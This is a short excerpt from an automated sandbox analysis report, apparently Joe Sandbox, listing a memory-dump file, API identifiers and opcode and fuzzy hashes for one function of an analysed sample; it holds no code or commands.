                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ByteCharMultiWide$ErrorLast
                                                          • String ID:
                                                          • API String ID: 1717984340-0
                                                          • Opcode ID: b4e37557a626a7a794550265811337febe39ad206e477de66f25f0c2f74e5a9b
                                                          • Instruction ID: 392d7dcc58e06f231f009d5856de9f09685678d9b29a757c1234a449285a417a
                                                          • Opcode Fuzzy Hash: b4e37557a626a7a794550265811337febe39ad206e477de66f25f0c2f74e5a9b
                                                          • Instruction Fuzzy Hash: 9D419070604236AFDB219F28EC88BAA7FA8FF43710F290565F865971E1DB309941DB61